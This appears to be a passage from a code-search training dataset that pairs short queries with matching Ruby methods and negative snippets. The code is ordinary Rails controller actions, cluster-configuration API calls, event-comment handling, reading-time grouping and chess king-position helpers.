"def patch_ids_cluster_config_0_with_http_info(cluster_id, ids_cluster_config, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicySecurityEastWestSecurityDistributedIdsSettingsEnablementApi.patch_ids_cluster_config_0 ...'\n end\n # verify the required parameter 'cluster_id' is set\n if @api_client.config.client_side_validation && cluster_id.nil?\n fail ArgumentError, \"Missing the required parameter 'cluster_id' when calling PolicySecurityEastWestSecurityDistributedIdsSettingsEnablementApi.patch_ids_cluster_config_0\"\n end\n # verify the required parameter 'ids_cluster_config' is set\n if @api_client.config.client_side_validation && ids_cluster_config.nil?\n fail ArgumentError, \"Missing the required parameter 'ids_cluster_config' when calling PolicySecurityEastWestSecurityDistributedIdsSettingsEnablementApi.patch_ids_cluster_config_0\"\n end\n # resource path\n local_var_path = '/global-infra/settings/firewall/security/intrusion-services/cluster-configs/{cluster-id}'.sub('{' + 'cluster-id' + '}', cluster_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(ids_cluster_config)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicySecurityEastWestSecurityDistributedIdsSettingsEnablementApi#patch_ids_cluster_config_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n @usecasecluster = Usecasecluster.find(params[:id])\n\n respond_to do |format|\n if @usecasecluster.update_attributes(params[:usecasecluster])\n format.html { redirect_to(@usecasecluster, :notice => 'Usecasecluster was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @usecasecluster.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @supercluster.update(supercluster_params)\n format.html { redirect_to @supercluster, notice: 'Supercluster was successfully updated.' }\n format.json { render :show, status: :ok, location: @supercluster }\n else\n format.html { render :edit }\n format.json { render json: @supercluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_cluster_configuration\n conf = cluster_attributes(CLUSTER_CONF_KEY)\n conf ||= {}\n merge_to_cluster_role({ CLUSTER_CONF_KEY => conf })\n end",
"def cluster_configuration(options = {})\n get \"/cluster/config\", options\n end",
"def update\n respond_to do |format|\n if @egc_server_cluster_type.update(egc_server_cluster_type_params)\n format.html { redirect_to @egc_server_cluster_type, notice: 'Egc server cluster type was successfully updated.' }\n format.json { render :show, status: :ok, location: @egc_server_cluster_type }\n else\n format.html { render :edit }\n format.json { render json: @egc_server_cluster_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @kernel_config.update(kernel_config_params)\n format.html { redirect_to @kernel_config, notice: \"Kernel config was successfully updated.\" }\n format.json { render :show, status: :ok, location: @kernel_config }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @kernel_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cluster_document.update(cluster_document_params)\n format.html { redirect_to @cluster_document, notice: 'Cluster document was successfully updated.' }\n format.json { render :show, status: :ok, location: @cluster_document }\n else\n format.html { render :edit }\n format.json { render json: @cluster_document.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_cluster instance_id, cluster_id, location, serve_nodes\n instances.update_cluster name: cluster_path(instance_id, cluster_id),\n location: location,\n serve_nodes: serve_nodes\n end",
"def configure(cluster_config, force = false)\n logger.debug { \"#{self.class}##{__method__}\" }\n # cluster specific attributes\n cluster_attributes = cluster_config.instance_values.symbolize_keys.except(:active, :cluster_type,\n :max_threads_per_agent, :cluster_code)\n cluster_attributes[:project_id] = self.project.id\n # find the cluster or create it\n cluster_instance = find_or_initialize(cluster_attributes, cluster_config)\n cluster_instance.save!\n cluster_instance.setup(force)\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
DELETE /cluster_configurations/1 DELETE /cluster_configurations/1.json | def destroy
if @cluster_configuration.specifier != nil
@cluster_configuration.delete_template
end
@cluster_configuration.destroy
respond_to do |format|
format.html { redirect_to cluster_configurations_url }
format.json { head :no_content }
end
end | [
"def destroy\n @graphium_configuration.destroy\n respond_to do |format|\n format.html { redirect_to graphium_configurations_url, notice: 'Configuration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @configuration_server = Cnf::Server.find(params[:id])\n @configuration_server.destroy\n\n respond_to do |format|\n format.html { redirect_to config_servers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @host_config.destroy\n respond_to do |format|\n format.html { redirect_to host_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cdist_configuration = CdistConfiguration.find(params[:id])\n @cdist_configuration.destroy\n\n respond_to do |format|\n format.html { redirect_to cdist_configurations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @metric_config.destroy\n respond_to do |format|\n format.html { redirect_to metric_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n conf.delete 'dashboard'\n end",
"def destroy\n @configuration_set = ConfigurationSet.find(params[:id])\n @configuration_set.destroy\n\n respond_to do |format|\n format.html { redirect_to configuration_sets_url }\n format.json { head :no_content }\n end\n end",
"def delete_cluster\n lb_authenticate = authenticate()\n lb_url = \"\"\n headers = {\"x-auth-token\" => lb_authenticate['auth_token'], \"content-type\" => \"application/json\"}\n lb_authenticate['lb_urls'].each {|lb|\n if config[:lb_region].to_s.downcase == lb['region'].to_s.downcase\n lb_url = lb['publicURL']\n break\n end\n lb_url = lb['publicURL']\n }\n @name_args.each {|arg|\n server_uuids = []\n lb_url = lb_url + \"/loadbalancers/#{arg}\"\n get_uuids = make_web_call(\"get\", lb_url, headers )\n if get_uuids.code == '404'\n ui.msg \"Make sure you specify the -r flag to specify what region the LB is located\"\n exit(1)\n end\n lb_data = JSON.parse(get_uuids.body)\n lb_data['loadBalancer']['metadata'].each{|meta|\n server_uuids << {'uuid' => meta['value'], 'server_name' => meta['key'] }\n }\n server_uuids.each { |uuid|\n rs_delete = RackspaceServerDelete.new\n rs_delete.config[:yes] = 'yes'\n rs_delete.name_args = [ uuid['uuid'] ]\n rs_delete.config[:purge] = true\n rs_delete.config[:chef_node_name] = uuid['server_name']\n rs_delete.run\n }\n delete_lb_call = make_web_call(\"delete\", lb_url, headers)\n puts \"Deleted loadbalancer id #{arg}\"\n \n \n }\n end",
"def destroy\n @docker_cfg.destroy\n respond_to do |format|\n format.html { redirect_to docker_cfgs_url, notice: 'Docker cfg was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scrape_config.destroy\n respond_to do |format|\n format.html { redirect_to scrape_configs_url, notice: 'Scrape config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nodeconfiguration = Nodeconfiguration.find(params[:id])\n @nodeconfiguration.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodeconfigurations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cluster = Cluster.find(params[:id])\n @cluster.destroy\n\n respond_to do |format|\n format.html { redirect_to clusters_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @my_configuration = MyConfiguration.find(params[:id])\n @my_configuration.destroy\n\n respond_to do |format|\n format.html { redirect_to my_configurations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n conf.delete 'api'\n end",
"def destroy\n @a_serverconfiguration.destroy\n respond_to do |format|\n format.html { redirect_to a_serverconfigurations_url, notice: 'A serverconfiguration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @config_set.destroy\n respond_to do |format|\n format.html { redirect_to config_sets_url, notice: 'Config set was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @config.destroy\n respond_to do |format|\n format.html { redirect_to configs_url, notice: \"Config was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @config1 = Config1.find(params[:id])\n @config1.destroy\n\n respond_to do |format|\n format.html { redirect_to config1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @conf = Conf.find(params[:id])\n @conf.destroy\n\n respond_to do |format|\n format.html { redirect_to confs_url }\n format.json { head :no_content }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
group the estimated reading times into a human readable set for friendlier filtering, rather than having a filter option for each integer value | def estimated_reading_time_human_readable
case estimated_reading_time_mins
when 0...2
'Less than 2 minutes'
when 2...6
'2 to 6 minutes'
when 6...10
'6 to 10 minutes'
when (10..)
'10+ minutes'
end
end | [
"def processing_times\n total = ab_output.match(/Total:\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)/)\n ninety = ab_output.match(/ 90%\\s+([0-9.]+)/)\n ninetyfive = ab_output.match(/ 95%\\s+([0-9.]+)/)\n [total[1], total[2], total[4], ninety[1], ninetyfive[1], total[5]]\n end",
"def measure_format\n i = 1\n arr = []\n measure = []\n self.chords.each do |chord|\n measure << chord.value\n if measure.count == self.beats_per_measure.to_i\n arr << \" #{i}. / #{measure.join(\" , \")} /\"\n measure = []\n i +=1\n end\n if chord == self.chords.last && measure.count != 0\n until measure.count == self.beats_per_measure.to_i\n measure << \" \"\n end\n arr << \" #{i}. / #{measure.join(\" , \")} /\"\n end\n end\n arr\n end",
"def print_timings\n if active?\n instrument_store.each_with_object({}) do |(key, metrics), memo|\n count, min, max, all = metrics.values_at(:count, :min, :max, :all)\n top = all.sort.reverse.take(5)\n mean = mean(all).floor(2)\n deviation = standard_deviation(all).floor(2)\n\n title = key.to_s.titleize\n\n output = [\n \"count: #{count}\",\n \"min: #{min}\",\n \"max: #{max}\",\n \"mean: #{mean}\",\n \"deviation: ±#{deviation}%\",\n \"top 5: #{top}\",\n ]\n\n logger.debug(\"#{title} - #{output.join(\" | \")}\")\n\n memo[key] = output\n end\n end\n end",
"def trip_filters\n elems = []\n TimeFilterHelper.time_filters.each do |tf|\n elems << {\n :id => 100 + tf[:id],\n :value => tf[:value]\n }\n end\n TripPurpose.all.each do |tp|\n elems << {\n :id => tp.id,\n :value => TranslationEngine.translate_text(tp.name)\n }\n end\n return elems\n end",
"def trip_filters\n elems = []\n TimeFilterHelper.time_filters.each do |tf|\n elems << {\n :id => 100 + tf[:id],\n :value => tf[:value]\n }\n end\n TripPurpose.all.each do |tp|\n elems << {\n :id => tp.id,\n :value => tp\n } \n end\n return elems \n end",
"def collect_time_information\n ### Time information\n mark_data_time_information = Array.new\n time_information = @case_details[:case][:system][:time]\n\n mark_data_time_information << 'Answer the following about each time period present in the evidence on the system'\n time_information.each do | key, value | mark_data_time_information << \"-#{key.capitalize}::#{value}\"\n end\n mark_data_time_information << ''\n\n return mark_data_time_information\n end",
"def parse_times_and_items\n @item_counts.sort.each do |item_count|\n items = item_count[1] # returns hash\n time = item_count[0].strftime(\"%I:%M\")\n @times.push(time)\n\n str = \"\"\n items.sort.each do |sub_arr|\n item = sub_arr[0]\n quantity = sub_arr[1]\n item = item.pluralize if quantity > 1\n str.concat(\"#{quantity} #{item}, \")\n end\n @items.push(str.slice(0...-2))\n\n end\n end",
"def apply_data_filtering_just_for_presentation(all_time_rating_values)\n \n filtered = {}\n \n previous_timestamp = nil\n previous_rating = -1\n all_time_rating_values.sort.each_with_index do | map , idx |\n \n # scenarion and rule: if within one day and rating not change, \n logger.debug \"map key: #{map.key} => value #{map.value} .... idx : #{idx}\"\n \n # copy to timestamp for comparing and judging\n previous_timestamp = map.key\n previous_rating = map.value\n \n end\n \n filtered = all_time_rating_values\n return filtered\n end",
"def get_usage building, time_start, time_end\n\t#for each meter on the building\n\trgtop_readings = Array.new()\n\t@building.meters.each do |meter|\n\t\t#get the 12 most recent readings for each meter and put the results into an array\n\t\trgtop_readings.push(meter.electricity_readings.select(\"date_time,power\").where(\"? <= date_time <= ?\",time_start,time_end));\n\tend\n\t#with our array we now add up the values by datetime into a hash\n\tbuild_usage_hash rgtop_readings\n\t#for each query get each record \n\t#puts(\"rgtop_readings is #{rgtop_readings.inspect}\")\n\t\nend",
"def mstime_and_value\n time = Time.new(self.measured_at.year, self.measured_at.month, self.measured_at.day, self.measured_at.hour, self.measured_at.min, self.measured_at.sec, \"+00:00\")\n milliseconds = ((time.to_i) * 1000).to_s\n return [milliseconds.to_i, self.value]\n end",
"def load_showtimes\n available_times = {\n 10.45 => \"10:45am\", 11.00 => \"11:00am\", 11.15 => \"11:15am\", 11.30 => \"11:30am\",11.45 => \"11:45am\", 12.00 => \"12:00pm\", 12.15 => \"12:15pm\", 12.30 => \"12:30pm\", 12.45 => \"12:45pm\", \n 13.00 => \"1:00pm\", 13.15 => \"1:15pm\", 13.30 => \"1:30pm\",13.45 => \"1:45pm\",14.00 => \"2:00pm\",14.15 => \"2:15pm\",14.30 => \"2:30pm\", 14.45 => \"2:45pm\", 15.00 => \"3:00pm\",15.15 => \"3:15pm\",16.00 => \"4:00pm\", 16.15 => \"4:15pm\", 16.30 => \"4:30pm\", 16.45 => \"4:45pm\", 17.00 => \"5:00pm\",17.15 => \"5:15pm\", 17.30 => \"5:30pm\",17.45 => \"5:45pm\",18.00 => \"6:00pm\", 18.15 => \"6:15pm\", 18.30 => \"6:30pm\", 18.45 => \"6:45pm\", 19.00 => \"7:00pm\", 19.15 => \"7:15pm\", 19.30 => \"7:30pm\", 19.45 => \"7:45pm\", 20.00 => \"8:00pm\", 20.15 => \"8:15pm\", 20.30 => \"8:30pm\", 20.45 => \"8:45pm\", 21.00 => \"9:00pm\", 21.15 => \"9:15pm\", 21.30 => \"9:30pm\", \n 22.00 => \"10:00pm\", 22.15 => \"10:15pm\", 22.30 => \"10:30pm\", 22.45 => \"10:45pm\", 23.00=> \"11:00pm\", 23.15 => \"11:15pm\", \n 23.30 => \"11:30pm\", 23.45 => \"11:45pm\",24.00 => \"12:00am\"}\n\n\n\n showtimes = [10.45]\n\n if self.runtime >= 1.33 && self.runtime <= 1.5\n showtimes << 12.30 << 14.00 << 15.30 << 17.00 << 18.30 << 20.00 << 21.30 << 23.00\n\n elsif self.runtime >= 1.5 && self.runtime <= 2 \n showtimes << 13.00 << 15.00 << 17.00 << 19.00 << 21.00 << 23.00 << 24.00\n\n elsif self.runtime >= 2 && self.runtime <= 3\n showtimes << 14.15 << 17.15 << 21.15 << 24.00\n end \n\n\n\n showtimes.map! do |time|\n time = Showing.create!(military_time: time.to_f, time_string: available_times[time], movie: self)\n end\n\n self.showings = showtimes\n end",
"def generate_time\n\t\tret = Array.new\n\t\tcount unless @fileinfo[:count]\n\t\ttrigger unless @fileinfo[:trigger]\n\t\tsampling unless @fileinfo[:sampling]\n\n\t\t(0..@fileinfo[:count] - @fileinfo[:trigger] - 1).each {|i| \n\t\t\tret << (i * @fileinfo[:sampling] * 1e-6)\n\t\t}\n\t\treturn ret\n\tend",
"def estimated_reading_time\n estimate = content.split(/\\s+/).length / AVERAGE_WPM\n \"#{estimate >= 1 ? estimate : '< 1'} min read\"\n end",
"def request_times_summary\n return summarize(\"Request Times\", @request_times)\n end",
"def create_time_array\n arraytext = \"\"\n count = 10\n ac = @groupeddata.count\n cc = 1\n\n @groupeddata.each do |data|\n arraytext += \"'\" + current_time(count) + \"'\"\n arraytext += \",\" if cc < ac\n cc += 1\n count += 10\n end\n\n return arraytext\n end",
"def create_summaries(obj, base_time)\n base_start = base_time\n base_end = base_time + 40.hours\n summaries = {\n :all => obj.summary,\n :all_constrained => obj.summary(base_start ... base_end),\n :wide => obj.summary(base_start - 1.hours ... base_end + 1.hours),\n #TODO: push this farther forward?\n :clipped => obj.summary(base_start + 30.minutes ... base_start + 25.hours),\n :empty => obj.summary(base_start ... base_start),\n }\n\n #TODO: move?\n if obj.respond_to?(:by_command_name)\n summaries[:all_filtered] = obj.by_command_name('vi').summary(base_start ... base_end)\n end\n\n summaries\n end",
"def get_generation_series\n result = []\n @samples.sort! { |x,y| x.generated_kilowatts <=> y.generated_kilowatts }\n max = @samples.last.generated_kilowatts\n min = @samples.first.generated_kilowatts\n counts = []\n counts.fill( 0, 0, @partition_count + 1 )\n\n @samples.each do |sample|\n normalized_value = (((sample.generated_kilowatts - min).to_f / ( max - min ).to_f) * @partition_count).to_i\n counts[normalized_value] += 1\n end\n\n ( 0 .. @partition_count ).each do |n|\n\n result << [counts[n], n ]\n\n end\n\n result.sort! { |x,y| y.first <=> x.first }\n count = 0\n series = []\n result.each do |x|\n series << [ count, x.first ] if count > 0\n count += 1\n end\n series\n end",
"def build_daily_activity_time_values(array_daily,feature)\n \n arr = []\n total_looking_at_phone = total_walking = total_cycling = total_standing = total_sitting = total_tilting = total_notUsingPhone = total_laying = total_running = 0\n\n unless array_daily.nil?\n for i in 0..23\n total_looking_at_phone += (array_daily[i.to_s]['lookingAtPhone'][feature]/1000)\n total_walking += (array_daily[i.to_s]['walking'][feature]/1000)\n total_cycling += (array_daily[i.to_s]['cycling'][feature]/1000)\n total_standing += (array_daily[i.to_s]['standing'][feature]/1000)\n total_sitting += (array_daily[i.to_s]['sitting'][feature]/1000)\n total_tilting += (array_daily[i.to_s]['tilting'][feature]/1000)\n total_notUsingPhone += (array_daily[i.to_s]['notUsingPhone'][feature]/1000)\n total_laying += (array_daily[i.to_s]['laying'][feature]/1000)\n total_running += (array_daily[i.to_s]['running'][feature]/1000)\n end\n end\n \n arr_looking = ['Looking At Phone(%dh%d:%ds)' % convertSeconds_to_Hours(total_looking_at_phone),total_looking_at_phone]\n arr_walking = ['Walking(%dh%d:%ds)' % convertSeconds_to_Hours(total_walking),total_walking]\n arr_cycling = ['Cycling(%dh%d:%ds)' % convertSeconds_to_Hours(total_cycling),total_cycling]\n arr_standing = ['Standing(%dh%d:%ds)' % convertSeconds_to_Hours(total_standing),total_standing]\n arr_sitting = ['Sitting(%dh%d:%ds)' % convertSeconds_to_Hours(total_sitting),total_sitting]\n arr_tilting = ['Tilting(%dh%d:%ds)' % convertSeconds_to_Hours(total_tilting),total_tilting]\n arr_notusing = ['Not using phone(%dh%d:%ds)' % convertSeconds_to_Hours(total_notUsingPhone),total_notUsingPhone]\n arr_laying = ['Laying(%dh%d:%ds)' % convertSeconds_to_Hours(total_laying),total_laying]\n arr_running = ['Running(%dh%d:%ds)' % convertSeconds_to_Hours(total_running),total_running]\n \n arr[0] = arr_looking\n arr[1] = arr_walking\n arr[2] = arr_cycling\n arr[3] = arr_standing\n arr[4] = arr_sitting\n arr[5] = arr_tilting\n arr[6] = arr_notusing\n arr[7] = arr_laying\n arr[8] = arr_running\n \n return arr\n end",
"def collect_measurement_statistics\n Ggi::Taxon.all.select { |t| t.family? }.each do |taxon|\n Ggi::ClassificationImporter::MEASUREMENT_URIS_TO_LABELS.each do |uri, label|\n measurement = taxon.measurements.detect { |m| m[:measurementType] == uri }\n value = measurement ? measurement[:measurementValue] : DEFAULT_SCORE\n @measurement_type_values[uri] ||= Hash.new(DEFAULT_SCORE)\n @measurement_type_values[uri][value] += 1\n end\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
POST /eventcomments POST /eventcomments.json | def create
@eventcomment = Eventcomment.new(eventcomment_params)
respond_to do |format|
if @eventcomment.save
format.html { redirect_to @eventcomment, notice: 'Eventcomment was successfully created.' }
format.json { render :show, status: :created, location: @eventcomment }
else
format.html { render :new }
format.json { render json: @eventcomment.errors, status: :unprocessable_entity }
end
end
end | [
"def create\n @event = Event.find(params[:event_id])\n @event_comment = @event.event_comments.build(params[:event_comment])\n @event_comment.comment_by = @current_user\n\n respond_to do |format|\n if @event_comment.save\n format.html { redirect_to @event, notice: 'Event comment was successfully created.' }\n format.json { render json: @event, status: :created, location: @event_comment }\n else\n format.html { redirect_to @event, notice: 'Comment could not be saved' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n expire_fragment \"event_comments-#{@event.id}\"\n expire_fragment \"event-#{@event.id}\"\n end",
"def create\n @comment_event = CommentEvent.new(comment_event_params)\n\n respond_to do |format|\n if @comment_event.save\n format.html { redirect_to @comment_event, notice: 'Comentário de evento criado com sucesso.' }\n format.json { render action: 'show', status: :created, location: @comment_event }\n else\n format.html { render action: 'new' }\n format.json { render json: @comment_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @event = Event.find(params[:event_id])\n @event_comments = @event.event_comments\n\n respond_to do |format|\n format.html { render :layout => false }\n format.json { render json: @event_comments }\n end\n end",
"def new\n @event_comment = EventComment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @event_comment }\n end\n end",
"def destroy\n @comment_event.destroy\n respond_to do |format|\n format.html { redirect_to comment_events_url }\n format.json { head :no_content }\n end\n end",
"def create\n @meetup_comment = MeetupComment.new(params[:meetup_comment])\n\t\t@meetup_comment.user_id = current_user.id\n\t\t@meetup_comment.username = current_user.username\n\t\t@meetup_comment.event_id = params[:event_id]\n respond_to do |format|\n if @meetup_comment.save\n format.html { redirect_to meetup_path(@meetup_comment.event_id), notice: 'Meetup comment was successfully created.' }\n format.json { render json: meetup_path(@meetup_comment.event_id), status: :created, location: request.referer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @meetup_comment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\r\n @eventcomment = Eventcomment.find(params[:id])\r\n @eventcomment.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to eventcomments_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def create\n @comment = Comment.new({user_id: params[:user_id], announcement_id: params[:announcement_id], description: params[:description]})\n @comment.save\n render json:@comment\n end",
"def sendEvent(comment, owner, repo, issue, sink)\n @logger.info(\"Sending info to #{sink}\")\n data = { message: comment[\"body\"] }\n event = CloudEvents::Event.create spec_version: \"1.0\",\n id: \"#{comment['id']}\",\n source: \"/#{owner}/#{repo}/#{issue}\",\n type: \"com.github.brianmmcclain.github-issue-comment-source\",\n data: data\n\n cloud_events_http = CloudEvents::HttpBinding.default\n\n headers, body = cloud_events_http.encode_binary_content event\n\n @logger.debug(headers)\n @logger.debug(body)\n\n if not sink.nil?\n res = HTTParty.post(sink, :body => body, :headers => headers)\n @logger.debug(res)\n else\n @logger.debug(\"No sink, skipping\")\n end\nend",
"def create\r\n @timeline_event = TimelineEvent.find(timeline_event[:id]) || TimelineEvent.new(params[:timeline_event])\r\n @event = Event.find(timeline_event[:event_id])\r\n \r\n if @event.nil?\r\n # create event\r\n @event = Event.new(params[:event])\r\n @event.user = current_user\r\n @event.title = nil if @event.title.blank? # fix optional fields\r\n @event.finish = nil if @event.finish.blank?\r\n @event.save || raise(\"Could not save event #{@event}\")\r\n \r\n # # create source comment (if exists)... should have more explicit \r\n # if event_comment && !event_comment[:text].empty?\r\n # @event_comment = EventComment.new(event_comment)\r\n # @event_comment.event = @event\r\n # @event_comment.user = current_user\r\n # @event_comment.user_ip = request.remote_ip\r\n # @event_comment.save # validation required \r\n # end\r\n end \r\n \r\n # tie timeline entry to event\r\n @timeline_event.id = nil if @timeline_event.id.blank?\r\n @timeline_event.event = @event\r\n @timeline_event.interpretation = timeline_event[:interpretation]\r\n \r\n @timeline_event.save || raise(\"Could not save #{@timeline_event}: #{@timeline_event.errors.join(', ')}\")\r\n \r\n @timeline = @timeline_event.timeline\r\n redirect_to resource(@timeline.user, @timeline, :cue => @event.id), :message => { :notice => 'Updated your event entry' }\r\n end",
"def create\n @event_question = EventQuestion.new(params[:event_question])\n @event_question.event_id = params[:event_id]\n \n @event = Event.find(@event_question.event_id)\n\n respond_to do |format|\n if @event_question.save\n format.html { redirect_to @event, notice: 'Event question was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n comment = Comment.new(params[:comment])\n @entry.comments << comment if comment.valid?\n respond_with(comment, location: redirect_to_index)\n end",
"def post_comment attributes\n perform_post(\"/videos/#{get_id}/comments\", attributes)\n end",
"def add_comment(applicant_id, comment)\n details = { type: \"comment\", comment: comment }.to_json\n options = { body: details, headers: { \"Content-Type\" => \"application/json\" } }\n\n request(:post, \"applicant_tracking/applications/#{applicant_id}/comments\", options)\n end",
"def save(event)\n data = {\n agenda: Agenda.file,\n attach: @@item.attach,\n initials: document.getElementById(\"comment-initials\").value ||\n User.initials,\n comment: @comment\n }\n\n @disabled = true\n Pending.update 'comment', data do |pending|\n jQuery('#comment-form').modal(:hide)\n document.body.classList.remove('modal-open')\n @disabled = false\n Pending.load pending\n end\n end",
"def post_event_to_facebook\n begin\n access_token = params[:access_token]\n challenge = Challenge.find(params[:id])\n event_params = {\n :name => challenge.name,\n :description => \"Welcome everybody to join our challenge. Register now to improve yourself with BodyAsRx: \" + request.protocol + request.host_with_port + upcoming_challenge_challenges_path,\n :start_time => challenge.start_date,\n :end_time => challenge.end_date,\n :privacy => 'OPEN'\n }\n\n graph = Koala::Facebook::API.new(access_token)\n graph.put_object('me', 'events', event_params)\n render :json => {:status => 'ok', :challenge => challenge}\n rescue\n render :json => {:status => 'nok'}\n end\n end",
"def create\n @api_v1_comment = @post.comments.new(params[:comment])\n if @api_v1_comment.save\n render :json => @api_v1_comment.to_json(:methods => [:votes_count, :user_vote, :user_flag, :flags_count])\n else\n render :json => @api_v1_comment.errors.to_json, :status => 400\n end\n end",
"def create\n @event_req = EventReq.new(params[:event_req])\n\n respond_to do |format|\n if @event_req.save\n format.html { redirect_to @event_req, notice: 'Event req was successfully created.' }\n format.json { render json: @event_req, status: :created, location: @event_req }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event_req.errors, status: :unprocessable_entity }\n end\n end\n end",
"def postComment(cardId, commentText)\n\tresponse = RestClient.post(\n\t\t'https://api.trello.com/1/cards/'+cardId+'/actions/comments',\n\t\t:text => commentText,\n\t\t:key =>$key,\n\t\t:token =>$token\n\t)\n\tresponse = JSON.parse(response)\nend"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
[white king position, black king position] | def king_position
king_pieces = [nil,nil]
grid.each do |row|
row.each do |square|
if square.is_a?(King)
if square.color == "w"
king_pieces[0] = square.pos
else
king_pieces[1] = square.pos
end
end
end
end
return king_pieces
end | [
"def king_position\n\t\tcurrent_color = @color.pop\n\t\t@color.pop\n\t\tking_position = nil\n\t\tfor i in 0..7\n\t\t\tfor j in 0..7\n\t\t\t\tif !( @board[[i,j]] == \"*\" ) && ( @board[[i,j]].color == current_color ) && ( @board[[i,j]].type == 'king' )\n\t\t\t\t\tking_position = [i,j]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tking_position\n\tend",
"def king_castling_moves\n moves = []\n from_to = []\n from = current_king_coordinate\n moves << [x-2, y] if left_castling?(@current_player.color)\n moves << [x+2, y] if right_castling?(@current_player.color)\n moves.each do |to|\n from_to << [from,to]\n end\n from_to\n end",
"def find_king(color)\n board.each do |row|\n (0...row.length).each do |col|\n pos = [row,col]\n king_pos = pos if board[pos].symbol == :King && board[pos].color == color\n end\n end\n king_pos\n end",
"def current_king_coordinate\n if @current_player.color == 'white'\n key = (@board.grids).select{ |key,value| value.class == WhiteKing }.keys[0]\n else\n key = (@board.grids).select{ |key,value| value.class == BlackKing }.keys[0]\n end\n key\n end",
"def find_king_coords(color)\n x = 0\n y = 0\n until get_board_coord(x, y).is_a?(King) && get_board_coord(x, y).color == color\n x += 1\n if x == 8\n x = 0\n y += 1\n end\n end\n [x, y]\n end",
"def move_king(king,white)\n \t ind = king.table.find_vertice(king.pos)\n \t if white\n k = king.posible_moves(king.table.vertices[ind],@board.wpos,@board.bpos,white)\n else\n k = king.posible_moves(king.table.vertices[ind],@board.bpos,@board.wpos,white)\n end\n posible_m =[]\n k.neighbours.each do |element|\n if element\n \tposible_m .push(element)\n end \n end\n\n blocked_m =[]\n final_m =[]\n posible_m.each_with_index do |element,index|\n if check(element,white,true)\n blocked_m.push(element)\n else\n final_m.push(element)\n end\n end\n\n\t if white && blocked_m == posible_m && check(@board.wking.pos,true)\n\t \tcheckmate(white)\n\t elsif blocked_m == posible_m && check(@board.bking.pos,false)\n\t \tcheckmate(white)\n\t else\n\n\t \tif final_m.length ==0 \n puts \" sorry, there not moves avaible for this piece , press start to choose another piece\"\n gets\n white_play\n else \n\t strings_m = final_m.map do |element|\n\t \telement = king.string_pos(element)\n\t end\n\t old_pos = king.pos.dup\n king.pos_choice(strings_m)\n pos_change(old_pos,white,true)\n end \n\n\t end\n\n end",
"def king_positions\n king_locations = []\n @@piece_locations.each do |piece, details|\n if details[\"type\"] == \"king\"\n king_locations << piece\n end\n end\n return king_locations\n end",
"def king_position(color)\n each_cell do |cell, column_number, row_number|\n if cell.is_a? Pieces::King and cell.color == color\n return Coordinates.new(column_number, row_number)\n end\n end\n end",
"def king_positions\n king_locations = []\n\n @piece_locations.each do |piece, details|\n king_locations << piece if details.fetch(:type) == :king\n end\n\n king_locations\n end",
"def find_king board\n board.each_index do |row|\n board[row].each do |tile|\n if !tile.nil? && tile.color == @turn && tile.piece == 'king'\n return tile.position\n end\n end\n end\n end",
"def king_coords(color)\n Board.coords_list.find do |coords|\n at(coords) && at(coords).king? && at(coords).color == color\n end\n end",
